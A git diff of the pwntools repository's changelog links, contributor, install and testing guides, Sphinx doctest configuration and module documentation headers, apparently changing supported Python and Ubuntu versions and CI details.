[2627]: https://github.com/Gallopsled/pwntools/pull/2627
[2598]: https://github.com/Gallopsled/pwntools/pull/2598
[2419]: https://github.com/Gallopsled/pwntools/pull/2419
[2551]: https://github.com/Gallopsled/pwntools/pull/2551
[2519]: https://github.com/Gallopsled/pwntools/pull/2519
[2507]: https://github.com/Gallopsled/pwntools/pull/2507
[2522]: https://github.com/Gallopsled/pwntools/pull/2522
[2524]: https://github.com/Gallopsled/pwntools/pull/2524
[2526]: https://github.com/Gallopsled/pwntools/pull/2526
[2517]: https://github.com/Gallopsled/pwntools/pull/2517
[2530]: https://github.com/Gallopsled/pwntools/pull/2530
[2529]: https://github.com/Gallopsled/pwntools/pull/2529
[2506]: https://github.com/Gallopsled/pwntools/pull/2506
[2504]: https://github.com/Gallopsled/pwntools/pull/2504
[2546]: https://github.com/Gallopsled/pwntools/pull/2546
[2538]: https://github.com/Gallopsled/pwntools/pull/2538
@@ -185,62 +113,9 @@ The table below shows which release corresponds to each branch, and what date th
[2590]: https://github.com/Gallopsled/pwntools/pull/2590
[2496]: https://github.com/Gallopsled/pwntools/pull/2496
[2542]: https://github.com/Gallopsled/pwntools/pull/2542
[2592]: https://github.com/Gallopsled/pwntools/pull/2592
[2606]: https://github.com/Gallopsled/pwntools/pull/2606
[2608]: https://github.com/Gallopsled/pwntools/pull/2608
[2611]: https://github.com/Gallopsled/pwntools/pull/2611
[2610]: https://github.com/Gallopsled/pwntools/pull/2610
[2615]: https://github.com/Gallopsled/pwntools/pull/2615
[2639]: https://github.com/Gallopsled/pwntools/pull/2639
[2630]: https://github.com/Gallopsled/pwntools/pull/2630
[2641]: https://github.com/Gallopsled/pwntools/pull/2641
[2646]: https://github.com/Gallopsled/pwntools/pull/2646
[2629]: https://github.com/Gallopsled/pwntools/pull/2629
[2643]: https://github.com/Gallopsled/pwntools/pull/2643
[2647]: https://github.com/Gallopsled/pwntools/pull/2647
[2669]: https://github.com/Gallopsled/pwntools/pull/2669
[2673]: https://github.com/Gallopsled/pwntools/pull/2673
[2679]: https://github.com/Gallopsled/pwntools/pull/2679
[2680]: https://github.com/Gallopsled/pwntools/pull/2680
[2683]: https://github.com/Gallopsled/pwntools/pull/2683
[2687]: https://github.com/Gallopsled/pwntools/pull/2687
[2699]: https://github.com/Gallopsled/pwntools/pull/2699
[2682]: https://github.com/Gallopsled/pwntools/pull/2682
[2671]: https://github.com/Gallopsled/pwntools/pull/2671
[2688]: https://github.com/Gallopsled/pwntools/pull/2688
[2686]: https://github.com/Gallopsled/pwntools/pull/2686
[2704]: https://github.com/Gallopsled/pwntools/pull/2704
[2655]: https://github.com/Gallopsled/pwntools/pull/2655
[2677]: https://github.com/Gallopsled/pwntools/pull/2677
[2689]: https://github.com/Gallopsled/pwntools/pull/2689
[2713]: https://github.com/Gallopsled/pwntools/pull/2713
[2720]: https://github.com/Gallopsled/pwntools/pull/2720
[2702]: https://github.com/Gallopsled/pwntools/pull/2702
[2722]: https://github.com/Gallopsled/pwntools/pull/2722
[2725]: https://github.com/Gallopsled/pwntools/pull/2725
[2730]: https://github.com/Gallopsled/pwntools/pull/2730
[2732]: https://github.com/Gallopsled/pwntools/pull/2732
[2733]: https://github.com/Gallopsled/pwntools/pull/2733
[2739]: https://github.com/Gallopsled/pwntools/pull/2739
[2740]: https://github.com/Gallopsled/pwntools/pull/2740
[2741]: https://github.com/Gallopsled/pwntools/pull/2741
[2743]: https://github.com/Gallopsled/pwntools/pull/2743
[2746]: https://github.com/Gallopsled/pwntools/pull/2746
[2734]: https://github.com/Gallopsled/pwntools/pull/2734
[2735]: https://github.com/Gallopsled/pwntools/pull/2735
[2753]: https://github.com/Gallopsled/pwntools/pull/2753
[2762]: https://github.com/Gallopsled/pwntools/pull/2762
[2767]: https://github.com/Gallopsled/pwntools/pull/2767
[2726]: https://github.com/Gallopsled/pwntools/pull/2726
[2768]: https://github.com/Gallopsled/pwntools/pull/2768
[2769]: https://github.com/Gallopsled/pwntools/pull/2769
[2780]: https://github.com/Gallopsled/pwntools/pull/2780
[2789]: https://github.com/Gallopsled/pwntools/pull/2789
[2750]: https://github.com/Gallopsled/pwntools/pull/2750
[2761]: https://github.com/Gallopsled/pwntools/pull/2761
[2727]: https://github.com/Gallopsled/pwntools/pull/2727
[2792]: https://github.com/Gallopsled/pwntools/pull/2792
[2798]: https://github.com/Gallopsled/pwntools/pull/2798
## 4.15.1
@@ -250,6 +125,26 @@ The table below shows which release corresponds to each branch, and what date th
- [#2773][2773] Disable debuginfod doctests in libcdb.unstrip_libc
- [#2772][2772] fix(packing): `dd()` no longer crashes on a `bytearray` destination
- [#2787][2787] gdb.corefile: Run gdb directly to prevent detach race
- [#2795][2795] regsort: Fix self-assignment detection through register aliases
- [#2524][2524] Raise EOFError during `process.recv` when stdout closes on Windows
- [#2530][2530] Do NOT error when passing directory arguments in `checksec` commandline tool.
- [#2506][2506] ROP: fix `ROP(ELF(exe)).leave` is `None` in some ELF
- [#2592][2592] pwnlib.config: Fix customization of `context.timeout`
- [#2598][2598] aarch64: Fix ABI definition
- [#2610][2610] Fix `log.progress` ignoring `context.log_console`
- [#2627][2627] Remove `pwnlib.util.iters.lookahead` (broken anyway, fails on Python 3.14+)
- [#2653][2653] Add aarch64_be qemu mapping
- [#2642][2642] Remove `pip` as explicit dependency
- [#2646][2646] fix(libcdb-cli): return early if no matched libc found
- [#2669][2669] asm: try native binutils before fallback architectures
- [#2677][2677] refactor: replace unsafe eval with safeeval.const in ROP cache loading
- [#2699][2699] Fix `tty` and `raw` arguments in `ssh.process()`
- [#2688][2688] Close SSH client connection when authentication failed
- [#2704][2704] ssh: Fix distro lookup on Ubuntu 24.04+
- [#2762][2762] fix(srop): correct amd64 SigreturnFrame `uc_sigmask` offset
- [#2767][2767] Support paginated libc.rip API requests to include all search results
- [#2739][2739] shellcraft: migrate lazy importer to find_spec for Python 3.12+
- [#2792][2792] Fix deprecation warning for not using `RLIM_INFINITY` in `resource.setrlimit` (Python 3.15)
[2694]: https://github.com/Gallopsled/pwntools/pull/2694
[2701]: https://github.com/Gallopsled/pwntools/pull/2701
@@ -257,6 +152,26 @@ The table below shows which release corresponds to each branch, and what date th
[2773]: https://github.com/Gallopsled/pwntools/pull/2773
[2772]: https://github.com/Gallopsled/pwntools/pull/2772
[2787]: https://github.com/Gallopsled/pwntools/pull/2787
[2795]: https://github.com/Gallopsled/pwntools/pull/2795
[2524]: https://github.com/Gallopsled/pwntools/pull/2524
[2530]: https://github.com/Gallopsled/pwntools/pull/2530
[2506]: https://github.com/Gallopsled/pwntools/pull/2506
[2592]: https://github.com/Gallopsled/pwntools/pull/2592
[2598]: https://github.com/Gallopsled/pwntools/pull/2598
[2610]: https://github.com/Gallopsled/pwntools/pull/2610
[2627]: https://github.com/Gallopsled/pwntools/pull/2627
[2653]: https://github.com/Gallopsled/pwntools/pull/2653
[2642]: https://github.com/Gallopsled/pwntools/pull/2642
[2646]: https://github.com/Gallopsled/pwntools/pull/2646
[2669]: https://github.com/Gallopsled/pwntools/pull/2669
[2677]: https://github.com/Gallopsled/pwntools/pull/2677
[2699]: https://github.com/Gallopsled/pwntools/pull/2699
[2688]: https://github.com/Gallopsled/pwntools/pull/2688
[2704]: https://github.com/Gallopsled/pwntools/pull/2704
[2762]: https://github.com/Gallopsled/pwntools/pull/2762
[2767]: https://github.com/Gallopsled/pwntools/pull/2767
[2739]: https://github.com/Gallopsled/pwntools/pull/2739
[2792]: https://github.com/Gallopsled/pwntools/pull/2792
## 4.15.0 (`stable`)
+9 -34
View File
@@ -2,57 +2,32 @@
Github has a great guide for contributing to open source projects:
- [Contributing to a project](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project)
- [Fork the repository](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project#creating-your-own-copy-of-a-project)
- [Clone your fork](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project#cloning-a-fork-to-your-computer)
- [Creating a branch to work on](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project#creating-a-branch-to-work-on)
- [Making and pushing changes](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project#making-and-pushing-changes)
- [Making a Pull Request](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project#making-a-pull-request)
- [Contributing to a project](https://guides.github.com/activities/forking/)
- [Fork the repository](https://guides.github.com/activities/forking/#fork)
- [Clone your fork](https://guides.github.com/activities/forking/#clone)
- [Making and pushing changes](https://guides.github.com/activities/forking/#making-changes)
- [Making a Pull Request](https://guides.github.com/activities/forking/#making-a-pull-request)
- [Huzzah!](https://guides.github.com/activities/forking/#huzzah)
## pwntools Specifics
In general, we like to keep things documented. You should add documentation to any new functionality, and update it for any changed functionality. Our docstrings use the [Google Style Python Docstrings](https://sphinxcontrib-napoleon.readthedocs.org/en/latest/example_google.html#example-google).
After you have documentation, you should add a [doctest](https://docs.python.org/3/library/doctest.html).
After you have documentation, you should add a [doctest](https://docs.python.org/2/library/doctest.html).
Finally, it is probably a good idea to run the test suite locally before doing
the pull-request to make sure everything works, however this is not a
requirement. See the [TESTING](TESTING.md) documentation on how to do that.
requirement.
Once you are ready to do a pull-request, you should figure out if your changes
constitutes a new feature or a bugfix in stable or beta. If it is a bugfix in
stable or beta, you should do the pull-request against the branch in question,
and otherwise your pull-request should be against the dev branch.
Once you do the pull-request Github Actions will run the test-suite on it. Once it
Once you do the pull-request Travis CI will run the test-suite on it. Once it
passes one of the core developers will look at your pull request, possibly
comment on it and then hopefully merge it into the branch in question.
## Python Type Hints
Since Pwntools 5 dropped support for Python 2, type hints are added gradually to the existing code base.
[Type hints in Python](https://typing.python.org/en/latest/spec/index.html) allow static analysis tools and IDEs to help catch errors and provide a better developer
experience without running the code.
New code should include type hints where applicable and shouldn't add new type warnings.
You can use [this cheat sheet](https://mypy.readthedocs.io/en/stable/cheat_sheet_py3.html) as a reference for the type hint syntax.
Pwntools uses [mypy](https://mypy.readthedocs.io/en/stable/index.html) as a static type checker. Instead of trying to
introduce type hints everywhere at once, Pwntools uses [mypy-baseline](https://mypy-baseline.orsinium.dev/usage) to gradually reduce the number of problems over time.
To run the type checker locally, you can install Pwntools with the `dev` extra and check for new errors (`--group dev` requires pip 25.1+):
```shell
$ pip install -U . --group dev
$ mypy | mypy-baseline filter
```
If you fixed some problems, you can update the list of known errors in `mypy-baseline.txt` using
```shell
$ mypy | mypy-baseline sync --sort-baseline
```
## Automated Testing
Pull requests against Pwntools require at a minimum that no tests have been broken, and ideally each pull request will include new tests to ensure that all of the functionality works as intended.
+2 -2
View File
@@ -32,9 +32,9 @@ To get you started, we've provided some example solutions for past CTF challenge
# Installation
Pwntools is best supported on 64-bit Ubuntu LTS releases (22.04 and 24.04). Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).
Pwntools is best supported on 64-bit Ubuntu LTS releases (18.04, 20.04, 22.04, and 24.04). Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).
Pwntools supports Python 3.10+ since version 5.0.0. Use Pwntools 4.x for older versions as well as Python 2.7. Most of the functionality of pwntools is self-contained and Python-only. You should be able to get running quickly with
Python3 is suggested, but Pwntools still works with Python 2.7. Most of the functionality of pwntools is self-contained and Python-only. You should be able to get running quickly with
```sh
sudo apt-get update
+2 -9
View File
@@ -4,25 +4,18 @@ Pwntools makes extensive use of unit tests and integration tests to ensure every
## Test Suite
To run the test suite, it is best to use Ubuntu 22.04 or 24.04, and run the following commands. **Be aware** that this will add a user to the machine, and create a public key for SSH login!
To run the test suite, it is best to use Ubuntu 12.04 or 14.04, and run the following commands. **Be aware** that this will add a user to the machine, and create a public key for SSH login!
```sh
bash travis/install.sh
bash travis/ssh_setup.sh
pip install --upgrade --editable .
pip install --upgrade -r docs/requirements.txt
PWNLIB_NOTERM=1 make -C docs doctest
```
You can run doctests for a single file for faster iteration:
```sh
PWNLIB_NOTERM=1 python -m sphinx -b doctest docs/source docs/build/doctest docs/source/elf/elf.rst
```
## Testing in Docker
A `Dockerfile` has been provided which has a clean testing environment with Ubuntu Noble. It is very similar to the online Github Actions CI testing environment.
A `Dockerfile` has been provided which has a clean testing environment with Ubuntu Xenial. It is very similar to the online Travis CI testing environment, but uses a more modern version of Ubuntu.
See `travis/docker/README.md` for more information.
+7 -3
View File
@@ -1,12 +1,15 @@
capstone
coverage[toml]
python-dateutil
doc2dash
docutils>=0.18
docutils<0.18; python_version<'3'
docutils>=0.18; python_version>='3'
intervaltree
isort
mako>=1.0.0
paramiko>=1.15.2
pyelftools>=0.32
pyelftools>=0.29, <0.30; python_version<'3'
pyelftools>=0.29; python_version>='3'
pygments>=2.0
pypandoc
pyserial>=2.7
@@ -14,6 +17,7 @@ pysocks
psutil
requests>=2.5.1
ropgadget>=5.3
sphinx>=8.1.3, <9
sphinx==1.8.6; python_version<'3'
sphinx>=8.1.3, <9; python_version>='3'
sphinx_rtd_theme
sphinxcontrib-autoprogram<=0.1.5
-3
View File
@@ -4,9 +4,6 @@
from pwn import *
adb = pwnlib.adb
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.adb` --- Android Debug Bridge
=====================================================
-4
View File
@@ -4,10 +4,6 @@
import subprocess
from pwn import *
# TODO: Remove global POSIX flag
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.asm` --- Assembler functions
=========================================
-4
View File
@@ -1,7 +1,3 @@
.. testsetup:: *
from pwnlib import atexception
:mod:`pwnlib.atexception` --- Callbacks on unhandled exception
==============================================================
+1 -6
View File
@@ -5,8 +5,7 @@
.. testcleanup:: *
context.defaults.clear()
context.defaults.update(old)
context.defaults.copy = old
Command Line Tools
========================
@@ -19,7 +18,3 @@ If these tools do not appear to be installed, make sure that you have added ``~/
.. autoprogram:: pwnlib.commandline.main:parser
:prog: pwn
.. only:: doctest
.. automodule:: pwnlib.commandline.errno
+57 -106
View File
@@ -1,3 +1,5 @@
# -*- coding: utf-8 -*-
#
# pwntools documentation build configuration file, created by
# sphinx-quickstart on Wed May 28 15:00:52 2014.
#
@@ -12,9 +14,9 @@
import os
import doctest
import signal
import six
import subprocess
import sys
from datetime import datetime, timezone
build_dash = tags.has('dash')
@@ -69,6 +71,7 @@ doctest_global_setup = '''
import sys, os
os.environ['PWNLIB_NOTERM'] = '1'
os.environ['PWNLIB_RANDOMIZE'] = '0'
import six
import pwnlib.update
import pwnlib.util.fiddling
import logging
@@ -85,7 +88,7 @@ pwnlib.log.rootlogger.setLevel(1)
# Sphinx modifies sys.stdout, and context.log_terminal has
# a reference to the original instance. We need to update
# it for logging to be captured.
class stdout:
class stdout(object):
def __getattr__(self, name):
return getattr(sys.stdout, name)
def __setattr__(self, name, value):
@@ -96,6 +99,7 @@ github_actions = os.environ.get('USER') == 'runner'
travis_ci = os.environ.get('USER') == 'travis'
local_doctest = os.environ.get('USER') == 'pwntools'
skip_android = True
is_python2 = six.PY2
'''
autoclass_content = 'both'
@@ -104,7 +108,7 @@ autodoc_member_order = 'groupwise' # 'alphabetical'
# Add any paths that contain templates here, relative to this directory.
templates_path = ['_templates']
doctest_test_doctest_blocks = 'default'
doctest_test_doctest_blocks = 'true'
# The suffix of source filenames.
source_suffix = '.rst'
@@ -117,7 +121,7 @@ master_doc = 'index'
# General information about the project.
project = u'pwntools'
copyright = u'2016-2026, Gallopsled et al.'
copyright = u'2016, Gallopsled et al.'
# The version info for the project you're documenting, acts as replacement for
# |version| and |release|, also used in various other places throughout the
@@ -259,11 +263,11 @@ latex_elements = {
# (source start file, target name, title, author, documentclass [howto/manual]).
latex_documents = [
('index', 'pwntools.tex', u'pwntools Documentation',
u'2016-2026, Gallopsled et al.', 'manual'),
u'2016, Gallopsled et al.', 'manual'),
]
intersphinx_mapping = {'python': ('https://docs.python.org/3/', None),
'paramiko': ('https://docs.paramiko.org/en/stable/', None)}
'paramiko': ('https://docs.paramiko.org/en/2.1/', None)}
# The name of an image file (relative to this directory) to place at the top of
# the title page.
@@ -292,7 +296,7 @@ intersphinx_mapping = {'python': ('https://docs.python.org/3/', None),
# (source start file, name, description, authors, manual section).
man_pages = [
('index', 'pwntools', u'pwntools Documentation',
[u'2016-2026, Gallopsled et al.'], 1)
[u'2016, Gallopsled et al.'], 1)
]
# If true, show URL addresses after external links.
@@ -359,7 +363,7 @@ def linkcode_resolve(domain, info):
if isinstance(val, property):
val = val.fget
if isinstance(val, (types.ModuleType, types.MethodType, types.FunctionType, types.TracebackType, types.FrameType, types.CodeType, type)):
if isinstance(val, (types.ModuleType, types.MethodType, types.FunctionType, types.TracebackType, types.FrameType, types.CodeType) + six.class_types):
try:
lines, first = inspect.getsourcelines(val)
filename += '#L%d-L%d' % (first, first + len(lines) - 1)
@@ -384,6 +388,7 @@ if build_dash:
# -- Customization to Sphinx autodoc generation --------------------------------------------
import sphinx.ext.autodoc
# Test hidden members (e.g. def _foo(...))
def dont_skip_any_doctests(app, what, name, obj, skip, options):
@@ -391,110 +396,56 @@ def dont_skip_any_doctests(app, what, name, obj, skip, options):
autodoc_default_options = {'special-members': None, 'private-members': None}
# doctest optionflags for platform-specific tests
# they are skipped on other platforms
WINDOWS = doctest.register_optionflag('WINDOWS')
LINUX = doctest.register_optionflag('LINUX')
POSIX = doctest.register_optionflag('POSIX')
class _DummyClass(object): pass
# doctest optionflag for tests that haven't been looked at yet
TODO = doctest.register_optionflag('TODO')
import sphinx.ext.doctest
class PlatformDocTestRunner(sphinx.ext.doctest.SphinxDocTestRunner):
def run(self, test, compileflags=None, out=None, clear_globs=True):
original_optionflags = self.optionflags | test.globs.get('doctest_additional_flags', 0)
def filter_platform(example):
optionflags = original_optionflags
if example.options:
for (optionflag, val) in example.options.items():
if val:
optionflags |= optionflag
else:
optionflags &= ~optionflag
if (optionflags & WINDOWS) == WINDOWS and sys.platform != 'win32':
return False
if (optionflags & LINUX) == LINUX and sys.platform != 'linux':
return False
if (optionflags & POSIX) == POSIX and os.name != 'posix':
return False
class Py2OutputChecker(_DummyClass, doctest.OutputChecker):
def check_output(self, want, got, optionflags):
sup = super(Py2OutputChecker, self).check_output
if sup(want, got, optionflags):
return True
test.examples[:] = [example for example in test.examples if filter_platform(example)]
return super(PlatformDocTestRunner, self).run(test, compileflags, out, clear_globs)
class PlatformDocTestBuilder(sphinx.ext.doctest.DocTestBuilder):
def __init__(self, *args, **kwargs):
super(PlatformDocTestBuilder, self).__init__(*args, **kwargs)
self._test_runner = None
self._doctree_had_tests = False
@property
def test_runner(self):
return self._test_runner
@test_runner.setter
def test_runner(self, value):
self._test_runner = PlatformDocTestRunner(value._checker, value._verbose, value.optionflags)
def test_doc(self, docname, doctree):
start = datetime.now(timezone.utc).astimezone()
# self._out(f"[{start.isoformat(timespec='milliseconds')}] doctest start: {docname}\n")
self._doctree_had_tests = False
try:
return super(PlatformDocTestBuilder, self).test_doc(docname, doctree)
finally:
# Only print the timestamp if there were actually tests run.
if self._doctree_had_tests:
end = datetime.now(timezone.utc).astimezone()
duration = (end - start).total_seconds()
self._out(f"[{end.isoformat(timespec='milliseconds')} - {duration:.2f}s]\n")
self._doctree_had_tests = False
rly_want = pwnlib.util.safeeval.const(want)
if sup(repr(rly_want), got, optionflags):
return True
rly_got = pwnlib.util.safeeval.const(got)
if rly_want == rly_got:
return True
except ValueError:
pass
rly_want = ' '.join(x[:2].replace('b"','"').replace("b'","'")+x[2:] for x in want.replace('\n','\n ').split(' ')).replace('\n ','\n')
if sup(rly_want, got, optionflags):
return True
rly_want = ' '.join(x[:2].replace('b"',' "').replace("b'"," '")+x[2:] for x in want.replace('\n','\n ').split(' ')).replace('\n ','\n')
if sup(rly_want, got, optionflags):
return True
for wantl, gotl in six.moves.zip_longest(want.splitlines(), got.splitlines(), fillvalue=''):
rly_want1 = '['.join(x[:2].replace('b"','"').replace("b'","'")+x[2:] for x in wantl.split('['))
rly_want2 = ' '.join(x[:2].replace('b"',' "').replace("b'"," '")+x[2:] for x in wantl.split(' '))
if not sup(rly_want1, gotl, optionflags) and not sup(rly_want2, gotl, optionflags):
return False
return True
def test_group(self, group):
# Only called when there are tests to run in the current document.
self._doctree_had_tests = True
return super(PlatformDocTestBuilder, self).test_group(group)
def py2_doctest_init(self, checker=None, verbose=None, optionflags=0):
if checker is None:
checker = Py2OutputChecker()
doctest.DocTestRunner.__init__(self, checker, verbose, optionflags)
if 'doctest' in sys.argv:
def setup(app):
app.add_builder(PlatformDocTestBuilder, override=True)
# app.connect('autodoc-skip-member', dont_skip_any_doctests)
# monkey patching paramiko due to https://github.com/paramiko/paramiko/pull/1661
import paramiko.client
import binascii
paramiko.client.hexlify = lambda x: binascii.hexlify(x).decode()
paramiko.util.safe_string = lambda x: '' # function result never *actually used*
pass # app.connect('autodoc-skip-member', dont_skip_any_doctests)
class EndlessLoop(Exception): pass
if hasattr(signal, 'alarm'):
def alrm_handler(sig, frame):
signal.alarm(180) # three minutes
raise EndlessLoop()
signal.signal(signal.SIGALRM, alrm_handler)
signal.alarm(600) # ten minutes
if sys.version_info[:1] < (3,):
import sphinx.ext.doctest
sphinx.ext.doctest.SphinxDocTestRunner.__init__ = py2_doctest_init
else:
def sigabrt_handler(signum, frame):
raise EndlessLoop()
# thread.interrupt_main received the signum parameter in Python 3.10
if sys.version_info >= (3, 10):
signal.signal(signal.SIGABRT, sigabrt_handler)
def alrm_handler():
try:
import thread
except ImportError:
import _thread as thread
# pre Python 3.10 this raises a KeyboardInterrupt in the main thread.
# it might not show a traceback in that case, but it will stop the endless loop.
thread.interrupt_main(signal.SIGABRT)
timer = threading.Timer(interval=180, function=alrm_handler) # three minutes
timer.daemon = True
timer.start()
import threading
timer = threading.Timer(interval=600, function=alrm_handler) # ten minutes
timer.daemon = True
timer.start()
# monkey patching paramiko due to https://github.com/paramiko/paramiko/pull/1661
import paramiko.client
import binascii
paramiko.client.hexlify = lambda x: binascii.hexlify(x).decode()
paramiko.util.safe_string = lambda x: '' # function result never *actually used*
class EndlessLoop(Exception): pass
def alrm_handler(sig, frame):
signal.alarm(180) # three minutes
raise EndlessLoop()
signal.signal(signal.SIGALRM, alrm_handler)
signal.alarm(600) # ten minutes
-3
View File
@@ -18,9 +18,6 @@
# Set the environment here so it's not in the middle of our tests.
os.environ.setdefault('SHELL', '/bin/sh')
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.elf.corefile` --- Core Files
===========================================================
-4
View File
@@ -5,10 +5,6 @@
from pwnlib.elf.maps import CAT_PROC_MAPS_EXIT
import shutil
# TODO: Remove global POSIX flag
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.elf.elf` --- ELF Files
===========================================================
-4
View File
@@ -1,10 +1,6 @@
.. testsetup:: *
from pwn import *
# TODO: Remove global POSIX flag
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.encoders` --- Encoding Shellcode
===============================================
-1
View File
@@ -1,7 +1,6 @@
.. testsetup:: *
from pwnlib.filepointer import *
from pwnlib.filepointer import _update_var
:mod:`pwnlib.filepointer` --- `FILE*` structure exploitation
============================================================
+1 -4
View File
@@ -1,14 +1,11 @@
.. testsetup:: *
import time
import six
from pwnlib.context import context
from pwnlib.tubes.ssh import ssh
from pwnlib.filesystem import *
# TODO: Remove global POSIX flag
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.filesystem` --- Manipulating Files Locally and Over SSH
====================================================================
-4
View File
@@ -4,10 +4,6 @@
context.arch = 'amd64'
context.terminal = [os.path.join(os.path.dirname(pwnlib.__file__), 'gdb_faketerminal.py')]
# TODO: Test on cygwin too
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.gdb` --- Working with GDB
======================================
+4 -4
View File
@@ -52,27 +52,27 @@ Each of the ``pwntools`` modules is documented here.
context
dynelf
encoders
elf
elf/*
exception
filepointer
filesystem
flag
fmtstr
gdb
libc
libcdb
log
memleak
protocols
qemu
regsort
replacements
rop
rop/*
runner
shellcraft
shellcraft/*
term
timeout
tubes
tubes/*
ui
update
useragents
+2 -10
View File
@@ -1,7 +1,7 @@
Installation
============
Pwntools is best supported on 64-bit Ubuntu LTS releases (22.04 and 24.04). Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).
Pwntools is best supported on 64-bit Ubuntu LTS releases (14.04, 16.04, 18.04, and 20.04). Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).
Prerequisites
-------------
@@ -18,20 +18,14 @@ following system libraries installed.
Note: For Mac OS X you will need to have cmake ``brew install cmake`` and pkg-config ``brew install pkg-config`` installed.
.. code-block:: bash
brew install pwntools
Released Version
-----------------
pwntools is available as a ``pip`` package for Python3. Version v5.0.0 supports Python3.10 or later. Use v4 if you use earlier versions of Python.
pwntools is available as a ``pip`` package for both Python2 and Python3.
Python3
^^^^^^^
The Python version required for installing Pwntools is kept as low as possible on a best-effort basis. However, new features target Python3.10 and later.
.. code-block:: bash
$ sudo apt-get update
@@ -43,8 +37,6 @@ The Python version required for installing Pwntools is kept as low as possible o
Python2 (Deprecated)
^^^^^^^^^^^^^^^^^^^^
Python2 support has been removed in Pwntools v5.0.0. The last version to support Python2 was v4.15.0.
NOTE: Pwntools maintainers STRONGLY recommend using Python3 for all future Pwntools-based scripts and projects.
Additionally, due to `pip` dropping support for Python2, a specfic version of `pip` must be installed.
-8
View File
@@ -42,20 +42,12 @@ repo <https://github.com/Gallopsled/pwntools-binutils/>`__.
$ wget https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/macos/binutils-$ARCH.rb
$ brew install ./binutils-$ARCH.rb
Note: The pwntools/pwntools Homebrew tap is currently (August 2026) undergoing migration.
If you encounter issues on Mac OS, try running ``export HOMEBREW_DEVELOPER="true"`` before ``brew install ...``.
The actual resolution of the tap migration is still pending.
Windows
^^^^^^^^^^^^^^^^
Windows support is experimental. You can try installing a prebuilt version of binutils
for your desired architecture from the `GNU Toolchains <https://gnutoolchains.com/>`__ project.
Note: For x86 and x86_64, you should use the `ubuntu toolchain <https://gnutoolchains.com/ubuntu/>`__
instead of the MinGW toolchains due to differences in the commandline handling.
Alternate OSes
^^^^^^^^^^^^^^^^
-3
View File
@@ -2,9 +2,6 @@
from pwn import *
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
Getting Started
========================
-10
View File
@@ -1,10 +0,0 @@
:mod:`pwnlib.libc` --- Convenient Functions for Libc Implementations
====================================================================
Submodules
----------
.. toctree::
:glob:
libc/*
-9
View File
@@ -1,9 +0,0 @@
.. testsetup:: *
from pwn import *
:mod:`pwnlib.libc.glibc` --- Convenient Functions for Glibc
===========================================================
.. automodule:: pwnlib.libc.glibc
:members:
-4
View File
@@ -3,10 +3,6 @@
from pwn import *
from pwnlib.libcdb import *
# TODO: Remove global POSIX flag
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.libcdb` --- Libc Database
===========================================
-4
View File
@@ -2,10 +2,6 @@
from pwn import *
# TODO: Remove global POSIX flag
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.qemu` --- QEMU Utilities
==========================================
-4
View File
@@ -19,10 +19,6 @@
context.clear()
# TODO: Remove global LINUX flag
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.rop.rop` --- Return Oriented Programming
==========================================================
-3
View File
@@ -7,9 +7,6 @@
from pwnlib.elf import ELF
from pwnlib.tubes.process import process
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.rop.srop` --- Sigreturn Oriented Programming
==========================================================
-4
View File
@@ -3,10 +3,6 @@
from pwnlib.runner import *
from pwnlib.asm import asm
# TODO: Remove global POSIX flag
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.runner` --- Running Shellcode
===========================================
-4
View File
@@ -2,10 +2,6 @@
from pwnlib import shellcraft
# TODO: Remove global POSIX flag
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.shellcraft` --- Shellcode generation
=================================================
-3
View File
@@ -3,9 +3,6 @@
from pwn import *
context.clear(arch='aarch64')
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.shellcraft.aarch64` --- Shellcode for AArch64
===========================================================
-4
View File
@@ -3,10 +3,6 @@
from pwn import *
context.clear(arch='amd64')
# TODO: POSIX/WINDOWS shellcode test
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.shellcraft.amd64` --- Shellcode for AMD64
===========================================================
-3
View File
@@ -3,9 +3,6 @@
from pwn import *
context.clear(arch='arm')
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.shellcraft.arm` --- Shellcode for ARM
===========================================================
-3
View File
@@ -3,9 +3,6 @@
from pwn import *
context.clear(arch='i386')
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.shellcraft.i386` --- Shellcode for Intel 80386
===========================================================
-22
View File
@@ -1,22 +0,0 @@
.. testsetup:: *
from pwn import *
context.clear(arch='loongarch64')
import doctest
